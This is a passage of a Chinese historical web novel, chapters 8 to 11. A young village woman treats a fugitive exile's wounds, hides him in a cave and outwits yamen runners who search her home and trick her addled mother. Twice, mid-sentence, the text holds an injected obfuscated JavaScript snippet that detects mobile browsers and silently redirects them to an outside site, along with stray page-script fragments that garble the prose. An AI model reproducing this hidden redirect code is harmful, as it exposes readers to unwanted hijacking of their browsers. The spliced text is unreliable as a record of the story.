周缨想了想，猜出他仍旧执著于方才那一问，想知晓她为何没有探问清楚缘由就肯助他恢复自由，于是指向门口：“瞧见刚刚那人了吗？我阿娘，疯疯癫癫的。” 她将晾好的温水递给他，停顿了很长一阵，才接道：“我非要打破砂锅问到底，问疯的。” 她的语气不无黯然： “现在学乖了。” 8. 深山雪重（三） 大雪压山，除了贴地穿行的凛风呼啸而过，几乎听不到任何别的声响。 灶膛中的炭火明明灭灭，映得周缨的脸庞红了又暗，暗了又明。 “所以，不说就算了，也不是什么大不了的事。” 周缨添了一把柴，火苗两下蹿起来半人高，垂落的几绺鬓发被燎出焦糊的味道。 她站直身子避开，手指拈上被火舌舔过的蜷曲发梢，不无可惜地看了一眼，在毕毕剥剥的干柴燃烧声中，很轻声地叹了一句：“不知道也不会怎样。”说罢将方才怕伤着他而取下的银针递还给他，起身从后门出去。 崔述将银针藏回袖间，注视着她的背影，沉思良久。 明明看着极伶仃的一把弱骨，做起事来却是与之并不相称的麻利和果断。 说起话来，更叫人听出一股子不显的倔性。 周缨不知在后头做些什么，半天没有回来，只听得“咚咚”之声藏于萧索寒风中，断断续续地传进来。 崔述也不曾起身去窥探，只安静地坐在灶后，看着火光微微发怔。 本就伤痕累累的手腕受了方才那一通罪，此刻伤上加伤，正缓缓渗着血。 他将手腕举至火苗上方，平静地看着腕上血迹蜿蜒坠向火堆，惊起轻微的“滋滋”声响。 直至木门“嘎吱”声起，将他从这钝痛中唤醒。 他一抬眸，便撞上了一双蕴着薄怒的眼。 “你在干什么？” 崔述下意识地将手一缩，才反应过来自己原本不必对她生惧，于是平声应道：“一时失神，无碍的。” 周缨冷声叱道：“你便是寻死也同我没什么关系。只是能不能不要跟樽大佛似的，火都快熄了，不知道搭把手么？” 崔述低头看去，木柴果然已烧完了大半，凌乱地散在各处，火势聚不到一处，药罐中“噗噗”的沸腾声较先前安静上不少，他说完抱歉，试图倾身将药罐取下。 他手不便，这事做起来困难，周缨惊觉自个儿这通脾气发得莫名，走近端起药罐，等他帮忙将散落的木柴堆好后，重新放回炉上，再转去灶后打来一盆温水放在火堆旁，又折返拿着个白瓷碗与土陶罐过来，在他身旁坐下。 这个角度，她眼角的一抹微红恰恰暴露在崔述视线中。 崔述低头看向火堆，佯作不知。 周缨将手中的绢布绞成几段，取过碗中泥泞的一团放至布料中间，用竹篾细细摊平。 清浅的药香钻入鼻尖，崔述垂眸，将周缨被染绿的指尖收入眼中，听她冷硬地唤他：“手拿过来。” “好。”崔述应下，将左手拿至身前。 周缨握住他的左手，拇指按在他中指指骨上，专注地判断着伤势。 将将才碰过冷水，周缨的手指冰冰凉凉的，贴在他掌心，叫他无端生出一种错觉。 就像是握着一枝郊野冻草。 触感冰凉、孱弱，细品却能发觉隐匿于其间的绵长生气。 周缨将他的手仔细地翻看了一遍，而后拧干帕子，轻轻触上他的手腕。 崔述轻“嘶”一声。 周缨克制着方才被杜氏激起的情绪，手上动作更加轻柔，将他腕间的尘灰和血渍一并擦拭干净。 巾帕重浸于水，迅疾洇染上一层血色。 周缨取下土陶罐上的泥封，用竹制酒提舀出一勺酒，重新搭住崔述修长的中指，将药酒缓缓淋至伤处。 “自家泡的药酒，性烈，忍着些。” 她做事极认真，将他手翻过来，再去浇他手腕内侧的患处，全程埋首细看，不曾分心。 浊酒从酒提中成线注下，宛若晃动的珠帘，崔述抿唇忍住这缠绵不休的痛感，视线不免有些恍惚，顺着这流动的珠帘往下看，定在周缨那几绺被火舌燎得有些发黄的弯发上。 这视线未曾遮掩，周缨有所察觉，手上动作微顿，又若无其事地将酒提放回罐中，侧身取回绢布，将捣碎的药草敷在他腕上，缠绕两圈，打好结扣。 “镇上的大夫医术普通，治治普通外伤应当还行，你这右手养上几日应该也能动了。但腿恐怕伤得重，”她默了片刻，方说，“官差还没走，请大夫过来太冒险了，可这么拖着也不是办法，你自己怎么想？” 似是没料到她会这样说，崔述直视着她的眼睛，静静地看了片刻，眨也未眨。 周缨恍若未觉，沉默着摊开又一块长条状的绢布，重复着先前的动作，将捣碎的草药放进去，伸手捉过他的右手，右手抚上酒提的长柄。 扣住他手腕的一瞬，周缨抬头迎上他仍未收回的目光，语气坦然：“怎么？” “是在下失礼，还请见谅。”崔述歉然。 周缨一般是不大接他这样的客套话的，这回却道：“不必这么客气。” “我不觉得我在做善事，拿人钱财替人消灾而已，你也不必觉得欠我什么。”她顿了一顿，接道，“我这人惯来拎得清，报酬和情分，只得一样已经极好了。” “也好。”崔述淡淡一笑。 周缨埋头替他清理伤口并上药，淡淡的皂角清香、药酒的料香混杂着清苦的药汁味萦在鼻间，久久未散。 药罐中的水沸个不停，争相溢出盖面，顶得盖子浮起又落下，“叮叮”作响。 崔述不便去看半跪在他身侧的瘦弱女子，只好将视线定在这只缺了角的瓦罐上。 深山雪重，泥炉初沸，药香萦室，不知为何，他竟觉出一股久违的宁和。 周缨替他包扎好腿上的外伤，单手撑着扶手椅站起来，眼前陡然一阵发黑，脚底发软，身子往一旁斜栽下去。 脑门儿即将磕上药罐的时刻，一只手迅疾地托住了她的手肘。 前额距离滚烫的瓦罐不过半寸，周缨才堪堪止住了去势，强撑着睁开眼，慢慢回过神来，垂眸看向托着她的这只手。 掌心宽大，肤色白皙，掌间纹理清晰可见，腕上缠着厚厚的绢布，草药的清苦从其间传出。 明明伤得厉害，却能稳稳当当地支撑住她。 “头晕？” 周缨点头。 “去睡会儿？” “没事，不过是蹲久了，缓过来便好。” 听她如此说，崔述也不再坚持，扶着她在扶手椅上落座，站在一旁看她。 等这阵猛烈的眩晕缓过去，周缨指着一旁的熏笼道:“用旧衣改裁了件衣裳，早先烘过，还是暖和的。你那衣服太单薄了，不嫌弃的话就添上，不然风寒始终好不全。” 熏笼上铺着一件山青色的圆领袍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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此刻体力不支，她迟疑了下，问他：“你会煮汤饼吗？我昨晚和了些面，在柜上，单手也能做。” 周缨并不抱什么希望，本也准备歇上一阵再去做，不料却听得一声平和的“会”。 灶后柴禾码得整整齐齐，不难看出此间主人平素的整洁，崔述坐于矮凳上，取干柴于地上火堆中引燃放入灶膛，添好柴禾，转去净手做汤饼。 热气蒸腾而上，立在灶后的男子凝神看着爬满锅底的细密气泡，单手撕着面团，待水沸后放入锅中煮熟，用笊篱漉出放至白瓷碗中，浇入昨晚剩的肉沫，掺入热汤，撒上一小撮葱花，一碗喷香的汤饼出锅。 周缨颇有些意外，崔述却恍若未觉，自橱柜中取出一只白瓷碗清洗干净，掺入七分满的温水，同她道：“吃点东西，体力恢复得快些。” 周缨眼睫颤了一颤。 他手脚不便，无法端碗走路，周缨起身帮忙，强撑着将汤饼和水端至桌上。 玄冬猛寒，汤饼最宜充虚解战，周缨尝了一口，招呼崔述过来坐：“倒瞧不出来，竟比我做的还强些，过来吃呀。” 崔述慢慢走过来，在她身侧落座，左手执勺舀了一块面团放入口中，咀嚼了两下，很认真地评价：“还行。” 周缨“噗嗤”笑出声来，等止了笑，又埋头细细品尝起来。 崔述慢慢放下手中汤匙，目光聚在她的颅顶上，眉头微锁。 9. 飞蓬向远（一） 雪虐风饕，山中寂寂。 镣铐一除，行动间的牵扯磋磨不再，崔述上肢的外伤算得上药到病除，两三日间渐渐结了疤，右手也慢慢恢复到可以平举握持轻物的境况，左腿却因骨折不得医治，反倒日渐严重。 崔述自个儿倒不是太在意，因雪大不惧有人前来探访此间主人，倒还经常拄拐来耳房坐坐，围炉照看火势，逗逗黑豆，半点情绪不显。 周缨也并不过多地关照他，全当作家中并无此人，只按时搭把手帮他换药，除此之外，大部分时间用来陪伴开解近来情绪波动颇大的杜氏，偶尔也披着蓑衣斗笠，挑雪势稍小的间隙往山脚去，回来时背上一小篓湿透的枯柴，劈成小块用来烧炭。 雪势消减的那日清晨，周缨煮了碗阳春面，煎上一个母鸡终于赏脸下的蛋，看崔述毫不讲究地在炉火前坐下，如市井贩夫走卒一般随意端着碗吃面，笑说：“你这样富贵出身的，居然也能接受这种做派。” 崔述抬头看她一眼，笑了一笑，又埋头吃起来。 他提出以重金相酬，便不曾想过要隐藏家世，左右这农女也只能猜测他家境门庭尚可，断不出他具体身份。 周缨去隔壁陪着杜氏吃完回来，等他细嚼慢咽地结束这一餐，收拾完碗筷，方在他对面落座，叹了一句：“雪停了。” “嗯。” “先前便算了，眼下你的家人既然还没到，你最好坦诚相告。”周缨目光锁在他眉间，“你犯的事……算了，我就再问这一次，这回你要同我说实话，这事官府到底会不会轻易作罢？” 崔述瞥了一眼被她搁进柜中的白瓷碗，笑问：“方才这顿饭，是送行的意思？我本也有此意，等会儿我会离开，先前答应过的酬劳，日后定当遣人送来。” 似怕被误解为骗子，他一反常态地解释道：“先前出言许诺，是断定他们定会寻来，只是不料雪势太大，兴许沿途排查过来遇到了些困难，导致动作慢了些。眼下这境况，既然他们还未寻到此地，你若再继续收留我恐会招来更大的危险，只能让我先行离开。吾非无信之人，还请放心，日后必当相酬。” 周缨噎住，转念一想这倒也像他此前的行事，于是平静回道：“我不是这个意思，接触了几日，这事我信你，更何况，县衙一旦来人，这么大的动静，你家人但凡不蠢，最晚一两日间也该跟着找过来了，不过稍微晚上两天，我并不担心。只是叫你好生想想，你腿上伤没好，眼下自行离开的话，有多大的把握能避开搜查？ “若你与官府的人撞个正着，孤身坠崖，冰天雪地的，却能命大活下来，镣铐又被解开，显然山中必有同伙。你我如今本是一根绳上的蚂蚱，我不喜欢拿命来赌，所以你也不要瞒我。” 她很少这样说话，更很少长篇大论，崔述思忖片刻，坦诚道：“我此前已告诉过你，流放途中死伤从不在少数，役卒尽责情况下甚少担责，并非为骗你相助而撒谎，确是实情。” 见她若有所思，崔述补道：“役卒欲尽早返乡过年，故才择了小道，眼下年关将近，为尽快交差自然也不会查探很久。” “这两天恢复得怎样？”周缨心中有数，起身推开后门往外看去，盘旋数日的厚密积云一扫而空，天际隐着淡淡的金边，是个雪后晴阳的好日子。 “挺好的。” “押解你的人少，雪厚路滑，搜查不易，不可能独自揽下这差事，前几日想必已趁雪回县衙求援去了。今天雪一停，县署应当会派官兵过来，这里距离远，路也难走，估计不会很快，但以防万一，还是抓紧时间，你随我来。” 崔述虽不知她谋划，但听她如此说，仍旧撑着木拐站起身，随她走至檐下。 “路难走，我扶着你。” 周缨站在檐下冲他伸手，见他迟疑，将手再往上抬了一些，轻声说：“来。” 崔述缓缓将木拐探入檐外雪地，深压入泥，扶着周缨的手走下石阶。 周缨以肩撑住他左臂，如来时一般，扶着他离开这方小院，往山脚走去。 天色尚早，飞鸟罕至，全无人迹，两人缓慢地沿着山间小道往下走。 行出三里地，周缨指了指前方的侧柏林：“仔细些，别撞掉枝上的雪，这个不好作假。” 崔述颔首，随她绕开满地琼枝玉树，屈身往里行去。 林木茂密，平素难见日光，内里灌木蕨草甚少，路反倒好走许多，周缨带着他七拐八绕，踏进一处狭长的洞穴。 光线晦暗，崔述半眯着眼适应，周缨让他自行先进去，自个儿则在洞口停留，以冷杉枝点火。 浓烟四起，顺着微弱的山风往四周逸去。 呼吸微微一滞，周缨手上的速度却丝毫不减，将一旁备好的木炭倒进炉中，拾起一枝冷杉扇风助燃。 等烟雾散尽，见他并未先行进去，只在一旁看着，周缨便提着泥炉同他一道缓步往内走，边走边交代道：“山间有烟必引怀疑，虽还剩了些干树枝，但你不要用。炭要及时续，我备得多，够用上四五日，不必俭省。” 崔述跟在她身后往内走，走完这道狭长的洞口，拐过拐角，方知别有洞天。里边是一间还算方正宽敞的内室，以石块、木板、干草搭了一张平整的榻，其上被絮一应俱全。 周缨指着放置在另一端的器物同他一一交代：“备了两桶山泉水，用水壶烧开再喝。饼、汤圆、面条都放这筐里了，用绢布挡着灰，饿了用小锅煮。对了，”周缨猛一回头，发觉他似有些心不在焉，顿了下，接道，“上回见你还蛮喜欢这番薯，也拿了几个，烧来吃也方便。” “你这几日冒雪出门，便是布置这个？” “嗯。”周缨转身往外走，“我先回去，药已经喝完了，反正你家人也快到了，我就先不替你续了。你先安心捱过这几日，这腿不能再折腾了，否则真要废了。” “等等。” 周缨回头看他：“怎么？” “倘若露了破绽，你当如何应对？” 周缨眉头微拧，似在认真思考可能性，尔后应道：“不会。这一片我很熟，应当没有破绽。只要我阿娘不出岔子便无事，放心。” 话音甫落，人已拐进来时的逼仄通道，扶着山壁往外去了。 一路小心掩埋踪迹颇为费时，回到家中时已近晌午，周缨先将出门时刻意困在屋中的黑豆放出去打探情报，再替杜氏做饭。 “阿娘，”饭吃到一半，周缨停筷，认真看向杜氏的双眸，郑重道，“我要说的事，事关我们二人的性命，我不知道你听不听得进去，但你尽量记住，好不好？” 她握住杜氏枯瘦的手腕，叹道：“等这事结束，我带你离开这里，去更自在的地方，好不好阿娘？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418873|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 杜氏不知听没听懂，神色一如既往的不知所措，只是有那么一刹，眼里的浑浊却散了三分，直楞楞地盯着她。 周缨心头一酸：“是我没用，攒了这么几年也没攒够盘缠，不过这回是真的快了。你信我，咱们马上就能离开了。” 周缨握住她的手更为用力，轻抚着她手背上凸起的青筋，叮嘱道：“午后会有官府的人过来，穿黑红色的皂衣，和早年间来过咱们家里的人一样，但你不要怕，这回并不是来为难咱们的。” 杜氏手上的微颤止住，歪头盯着她，似听得极为认真。 “我不能再一碗药把你药倒了事，你的身子短时间内承受不起这样猛的两剂药。而且咱们身上有旧账，这样容易引起怀疑，所以你务必要记住我说的话。” 周缨闭目，用力握住她的手，强迫她将这话听进去：“阿娘，自从腊月下雪以来，我只有五日前雪停的那日，去镇上帮过一日工，次日送完炭才回来，第三日因你风寒，又去邻镇买过药，顺带买过年货。” “若再深问，你只管说一概不知，或者不要回答，就像你平常这样就行。”周缨替她搛了一筷子萝卜，舀上一勺蘸水，垂目低低说道，“只要记住，除那三天以外，任何时候都无人出过这间院子，除了大伯母，这些天也不曾有任何人来过咱们家，你也从来没有见过上次厨房里的那人。” 杜氏不知听懂几分，总之没有应她，只低头去嚼那块白萝卜。 周缨失落地叹了一句：“也罢。是我贪心了，竟还想指望你帮我圆谎。” 她本也不强求阿娘能够应答得滴水不漏，若能如此，阿娘也不会这些年都是这般模样。只是阿娘还是能听懂一些简单的话，不叮嘱一番，仍怕她一时情急说错话露了馅儿，这番叮嘱实在只为求个心安。 吃完午饭出来，久违的晴阳悬于天际，洒下金灿灿的光，替远处山黛描了一层金边。 后山处传来喧杂的人声，不消说，平山县廨的官差来办差了。 周缨平静地回到厨房收拾完碗筷，打了盆热水端至后院石板上，清洗崔述用过的床单被面。 冬日寒凉，水冷得快，周缨却清洗得极为仔细，慢悠悠地浆洗完，晾至竹竿上，正往作裙上擦手，耳房的前门忽地被撞开。 黑豆疾奔而来，在她脚边急切地转着圈，因奔跑而不住吐舌喘着粗气儿，凝成一片白色的雾气。 周缨在它脑袋上轻拍了下，示意她已经懂了，黑豆便不再焦躁，在灶下寻了块宽敞的地方趴下来，安静地吐着舌。 盏茶功夫过后，篱笆院门被人推开，凌乱的脚步声传进来，大声呼喝着主人出去迎客。 周缨往廊檐下走出去两步，门便被先一步推开，身量魁梧的皂隶冷声宣示来意：“官府办案，速速配合。” 周缨露出诧异的神色：“敢问官爷来这儿办什么案？” “有逃犯藏于翠竹山中，这是搜查令，叫你家中所有人丁速速出来面官。” 周缨半扭着头去看那纸，难为情道：“官爷为难我了，我大字不识一个。” 话刚说完，一旁一个身量瘦削的皂隶忽然道：“老金，你觉不觉得此地有些眼熟？” 老金仔细回想了半日，一拍脑门儿道：“这不就是杨家坪那寡妇家？当年有人报案说她谋杀亲夫，咱俩来拿过人的。” 10. 飞蓬向远（二） 瘦子愣了片刻，将周缨从头到脚打量了个遍，将佩刀往地上一竖，恍然大悟道：“就是她家！只不过当时我们是从山脚上来的，走的不是今日这条道，难怪方才没想起来。” 办案之人耳目记忆强于常人，壮汉老金此时再看周缨，已然面色不善，半点不客气地呵斥道：“速去把你娘叫出来。” 周缨身量不及他，步子小些，被他毫不客气地用刀鞘在脊背上顶了一下：“快点。” 黑豆一跃而起，拦在周缨跟前吠叫起来。 老金提脚便往它肚上一踹，一脚将它踢出去三尺远，惊起一阵凄厉仓惶的惨叫。 黑豆爬起来，往后退开一步，目露凶光，盯着这壮汉，又大声吠叫起来。 “你这小畜生，还反了天了不成！”老金拔刀上前。 周缨忙拦在他跟前：“官爷熄怒，不过是个听不懂人话的小畜生，不值得同它计较。我这里有春日里做的茶饼，自家茶树上采来烘制的，您若不嫌弃，我替您沏上一壶明前茶，好降降火。” 翠竹山名虽秀雅，但却是不折不扣的巍峨大山，林木茂密，旁的物产不多，独独百年古茶树倒家家都有一两棵，虽被茶商压价卖得贱，挣不了几个钱，但只要走出青水镇，却也勉强算得上平山县的好茶，壮汉闻言气已消了不少。 那瘦子又在一旁劝道：“说得对，喝口茶消气，别多事，不过寻个囚犯，早走完这一趟，早回去交差。” 两人一道办差多年，老金不好不给此人面子，听得如此说，冷声命令周缨：“把这畜生拴起来，若再不安分我就不客气了。速去将茶沏来。” 周缨连连应是，顾不得背上的痛处，弯腰将呲着牙的黑豆抱至檐下，用藤条拴住，低声叮嘱它不可再躁动，随即赶回厨房沏茶。 老金见她态度甚好，手脚也麻利，怒气消了一半，暂且没再为难她。 周缨扶着杜氏缓步走至耳房门口，道：“官爷，这是我娘，家中只有我们二人，怎敢去招惹什么逃犯，还望诸位查明真相，勿要冤我二人。” “也没冤枉你。”老金端着茶碗，将茶水一饮而尽，对瘦子道，“吕三，你看着人，不许她们走动一步。”说罢点了剩余的皂隶去隔壁房间。 翻箱倒柜之声传过来，杜氏被重物倒地的声音骇到，身子不住哆嗦起来。 吕三将眼眯成一条缝，目露精光：“怎么回事？” 杜氏不知作答，只将头埋低，仍旧哆嗦个不停。 周缨轻拍她脊背示意她安心，回吕三道：“听官爷方才所说，早年我爹失足坠河连尸骨都没打捞到的事，您也是知道的。这事一出，我娘本就伤心过度，后来又坐了一回冤狱，被里头的情形吓到了，回来以后便神智不清，成了今日这模样。” 吕三斥道：“什么冤狱，官府办案，按律拿人，后来查无明证不也放你娘回来了，何曾冤过你娘。” “是我失言，官爷勿怪。” “瞧你倒还伶俐，过来。”皂隶抬手唤她。 周缨走至近前，吕三指了指火旁的矮凳：“扶你娘坐。” “谢官爷。” “从腊月十七那日到今天，你去过何地，做过何事，一一说来。” “这么多天，怎么想得起来？”周缨面露难色。 吕三冷笑一声：“你家距离后山最近，最有嫌疑，按律可以将你二人羁押，带回衙署候审，到得官府，想必你便想得起来了。” 周缨闻言怯怯，屈指仔细数了半晌，方道：“先前镇上瓦罐店的江老板说工期紧，请我去帮小工，因还剩些活没做完，一直催得厉害，十六那日雪一停我便去镇上了，一直忙活到第二日才忙完，我还攒了些炭，顺道给老主顾送去便从镇上回来了。回来后累着了，当天就一直没再出去。” “什么时候，送到谁家？” “上午，具体时间记不太清，送到镇上那家糕点铺子了，那婶儿经常在我这儿买炭，年关里用得多些，便吩咐我一有炭就送去。” “其他时候呢？还出去过么？” 周缨点头：“十八那日又去隔壁镇上抓了些药，还买了些年货。” “十八？这回倒记得这么清楚？”吕三目光渐露凌厉。 “方才不是算过了嘛，雪停了两日，第三日我看天色，觉得这天晴不长久，便想去买些年货，恰巧我娘的寒症又突然犯得厉害，耽误不得，便一大早去杨叔家里借了骡子，去邻镇替我俩各自抓了些药。” “你怎么了？” 周缨神色赧然：“说来丢人，在镇上看到天色变得快，怕半道下雪赶不回来，心里着急，居然在平地上把脚崴了。” 吕三盯着她的脚腕位置，继续追问：“好得这么快？方才见你行动自如。” “正好替我娘抓药嘛，也给自个儿抓了几副，内服外敷折腾了好几天，基本上好全了。” “你娘有寒症？” “是，冬天常犯，一般不打紧，但那天突然不舒服得厉害。” 吕三转头去问杜氏：“大姐，你身子哪里不舒服？” 周缨心一紧。 杜氏见着生人便怕，不肯回他的话，只哆哆嗦嗦地往周缨背后藏。 吕三无法，只得作罢，又转问周缨：“为何绕远路去邻镇？” 真实答案自然是事发突然，押解崔述的官差排查下来无所获，必然会去最近的镇上投宿，后续才是回县衙搬救兵的事，她那时去本镇自然会同其撞上，还刚好抓那些对症的药，很容易就会被盯上，但她只说：“想顺便置办些年货嘛，那天邻镇赶集，何况邻镇医馆的大夫诊金便宜些。” 这倒不是假话，药材贵重，附近百姓小病小痛都是以土方或者自个儿上山采药对付，实在厉害了必须看诊也都更喜去偏实惠的医馆抓药，吕三一时找不到破绽，接着寻根究底：“你说的杨叔是谁？” “五里坪，杨成。” 吕三扬声唤一人去对质，又叫一个矮小如猴的皂隶过来：“验验药罐。” 那矮猴当即蹲身，将那只破了耳的瓦罐掀倒，取刀具在壁上刮了一层已干涸的药渍下来，去后院验了半日，来回道：“是风寒药和外伤药的成分，已辨明全部药材，晚些再去药铺核验。” 吕三颔首，吩咐矮猴将这间耳房一并搜查一遍。 此人心思缜密，层层剥茧，若非一早想得周全，周缨也不敢确定自个儿是否会露馅儿，当下只能沉着心，悄悄关注着他们一行人的动向。 吕三则沉沉地看着她，半刻后，老金进来同他道：“没查出什么。” “墙壁地道都排查过了？” “查了，连鸡圈都查了，没有异常。” 吕三起身往后院去，看着尚在滴水的床单被褥，笑了一笑，叫人把周缨带过去：“今日洗这些？” 周缨不解：“连着下了这么久的雪，好不容易出回太阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418874|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，洗洗预备过年，有何不可？” 吕三吩咐其他人看着她，自个儿往卧室内走去，将两间屋子一应床单掀开，仔细查探一遍，并未发现任何血迹或其他可疑之处，只得作罢。 他返回后院，又细细端量了周缨一眼，再次盘问道：“你家里可有地窖？” 本地寻常人家都会有个小地窖，用以存放番薯，当下用来藏人也是个极佳之所，若此问有异，便可断定此女有问题。但周缨没有任何迟疑，径直道：“有，但离主屋有些距离，官爷若要去，我带你们过去。” 吕三愣了一愣，摆手叫人带她过去。 周缨被两个皂隶制住双臂，强行押着从耳房出去，杜氏见状慌乱起来，周缨刚要出言安慰，膝弯便被撞了一下，方知此人是故意如此，只得住了声。 等人走远，吕三在惶惶不安的杜氏身侧坐下，拿了一杯热茶递给她，笑着同她套近乎：“大姐，你女儿这几日一直在家里守着你，没有出去过？” 杜氏满脸仓惶，不肯出声。 “大姐，你当真不记得我了？我在县衙当差，当年你毒杀杨泰，我奉命来缉拿你归案，就在这间屋子，我亲自给你上的镣铐，那会儿你那女儿，”吕三伸手在腰际比了比，笑得瘆人，“大概才这么高点，哭着喊娘，非拦着我们不让走，还是我踹了她一脚，将她踹得爬不起来，才把你押走了。” 杜氏长年轻颤不止的身子停了一瞬。 这变化叫吕三捕捉到，不由露出一丝得意的神色，继续威逼：“你若不说实话，你那女儿也得跟你当日一样，去牢狱里走一遭。那地方你待过，滋味你这辈子肯定忘不了，装也装不了。” 杜氏忽地探手拽住了他的袍袖。 吕三神色为之一动：“你果然记得。好好想清楚，要不要说实话。” 杜氏眸中的光亮又暗淡下去，只重复地唤“杳杳”。 失望不已，但吕三仍未放弃，留她一人在灶下，出门在廊下站了一站。 老金道：“你方才还劝我多一事不如少一事，马上小年休沐了，咱就这点人手，还得赶紧去把周围人家全部搜检一遍。说句不中听的，寻不寻得到人有什么要紧，负责押解的又不是咱们，追不追究的也不干咱们的事，交完差安生过年才是正事。” 吕三看向被押着往回走的周缨，只说：“这女的不对。” “有破绽？” “没有。”吕三凝神，缓缓摇头，“但我直觉不对。” “行了，何必多事？”老金劝他，“两个女人而已，小的弱，老的疯，就算真碰上了，怎么救？” “倘若他命大没受伤，只需搭把手就能救下呢？” “怎么可能，那陡崖，不死也残。” 吕三摇头，闭目想了一想，说：“容我再试一回。” 周缨被押回近前，吕三叫人堵了她嘴，将耳房门从外锁上，唤来那矮猴：“她的声音都记住了？” 矮猴点头。 “问里面那人。” 周缨登时意识到不妙，方要挣扎，已被大力制住，紧贴在壁，动弹不得。 那矮猴低低清了清嗓，冲门内唤道：“娘。” 声音竟和周缨有七八分相像。 杜氏正惶惑不安间，听到熟悉的声音，蹒跚往这边赶来，却被反锁的门阻住去向，只得停在门后，听这声音继续道：“咱们家里那人突然找不到了，你看见过没有？” 11. 飞蓬向远（三） 门内传来极轻的低语声。 吕三抬手示意所有人噤声，将耳朵贴在门上，尽力听了半天，一个字也没能辨清，只得指使矮猴接着使诈。 “娘，这些人非要抓我去县衙，说找不到人就要将我投进大牢，你有没有看见过他？要是能找到他，我就没事了。” 里面沉默了半刻，杜氏含糊不清的声音传出来：“那混账早死了，就、就摔、摔在沙河里。”里头嘶哑得近乎诡异的声音传出来，“摔死的。” 矮猴毛骨悚然，压低声音同吕三道：“这是真疯了，就算真能诈出来，疯子说的话又怎么能信。” “你错了。”吕三瞥周缨一眼，“疯子说的话，比清醒的人说的可靠。” “可这也没问出来什么。”老金在一旁接话道，“这村里这么多户人家，咱可还得挨家挨户地搜呢，明日必得结了这差事好过年，别再耽搁了。” 两人既资历相当，互相都得给个薄面，吕三不好擅专，摆手叫人放开周缨，率队撤出小院。 周缨目送这一行人撤往后山，揪着的心缓缓坠回原地，爬起来打开门锁，将杜氏拥入怀中，轻抚脊背替她顺气：“阿娘，莫怕，我在。” 杜氏仍旧是那副不大清醒的模样，方才所言大抵也并非突然神智清明巧妙避开陷阱，而是巧合使然。 周缨将她安置在灶后烤火，绕到西侧将受惊四处扑扇翅膀的鸡赶回竹篱围成的圈中，喂完食后，高亢的“咯咯”声终于停歇下来，吵闹的小院恢复了寂静。 安抚好黑豆后，周缨进到杜氏房间，将被翻乱的房间仔细收拾干净，铺床时更是将床褥一点点地整理平整，极为尽心。 手指无意间触到棉絮中间的一小块硬块，周缨在榻沿坐下来，欲将坏棉拆掉重新缝制一遍。 方将线理清，慢慢拆了半圈，她便顿住了动作，那处极小的硬块并非预想中的坏棉，而是一张折叠数次的泛黄纸张。 犹疑片刻，周缨将那张薄脆的纸张摊开来，借着室内昏暗的光细看了一遍，上头写着几个小字，笔迹隽秀，但她认不出写的是什么。 那晚崔述问她是否想学，她回的那一句“学来做什么”虽是半真半假，但今日悔恨自己不识字却是极真。 思及此处，周缨抿唇将这纸叠好放入怀中，顺着原本的针脚将棉絮重新缝好。 等收拾好床榻，她引杜氏回房休息，将炭添得更旺。 杜氏歪着头看她，她温声安慰：“放心，咱们没事了。” 将杜氏安顿下来，周缨退出门，慢悠悠地整理着自己的房间，天擦黑时，听得外头传来对话声。 林婶笑着同大伯母徐氏打招呼：“你怎么也来了？来看阿缨？” “可不是么？”徐氏赔着笑脸，“邻镇有户人家喜欢我们丫头得不得了，这才几日间便来过两次了，想讨我们丫头去做他家儿媳。人家这般诚心，我少不得要来跑一趟了。” “哪户人家？” 徐氏遮掩道：“家里殷实的，附近数一数二的人家，也看重丫头，托媒人来提了两次了。” “那是好事啊。” 徐氏叹道：“可不是么？可惜咱们丫头年纪还小，不懂事得很，半点看不上，上回我过来，直接拒了不说，还迁怒于我。” “阿缨兴许是想多陪陪她娘，不过这事确实也耽误不得，晚些我帮你劝劝。” 徐氏这才乐起来：“你怎么今日也来了？” “阿缨这丫头实在太讲礼数，前几日借了我家骡子使，便买了些肉来……”话到此处，林氏意识到旁人倒无碍，独独此人面前不能说这事，忙止了话头，“刚官府盘问到我们家去了，我才知道这山里居然有逃犯，她们娘儿俩独门独户的，我不放心，赶来看看。” 然而徐氏已经听明白了，这小贱蹄子居然给外人买肉反而对她恶言相向，遂冷嗤一声：“这丫头主意大着呢，能有什么事。” 周缨立在窗下听完二人的对话，开门出来，徐氏瞬间收了夹枪带棒的措辞，换上一副讨好的笑：“丫头，上回伯母同你说过的事，今日天刚晴，人就又请了媒人来说合。对方接连来两次，聘礼也给得足，这般有诚意，往后必然好好待你的。你说你这丫头，不要不识好歹，再仔细考虑考虑。” 林氏这才听出几分不对劲来，再去看周缨凝了寒霜的面容，还有什么不明白的，赶紧问道：“阿缨，你大伯母说的是哪户人家？我帮你参谋参谋。” “还能是哪家？”周缨提手去拿靠在墙边的扫帚，“邻镇赵铁匠的三儿子。” 林氏先是一愣，而后反应过来，抬手指着徐氏便斥道：“你好歹是做伯母的，怎么能把自家侄女儿往火坑里推？” 没想到外人居然也敢这般指摘她，徐氏脸一阵红一阵白的，提高声音反呛道：“你睁眼说瞎话个什么，赵家在咱们十里八乡算是多么富足的人家，我这是为她寻个好前程，她一个小孩儿不懂事也就罢了，你这老大不小的了，怎么也跟着犯浑？” 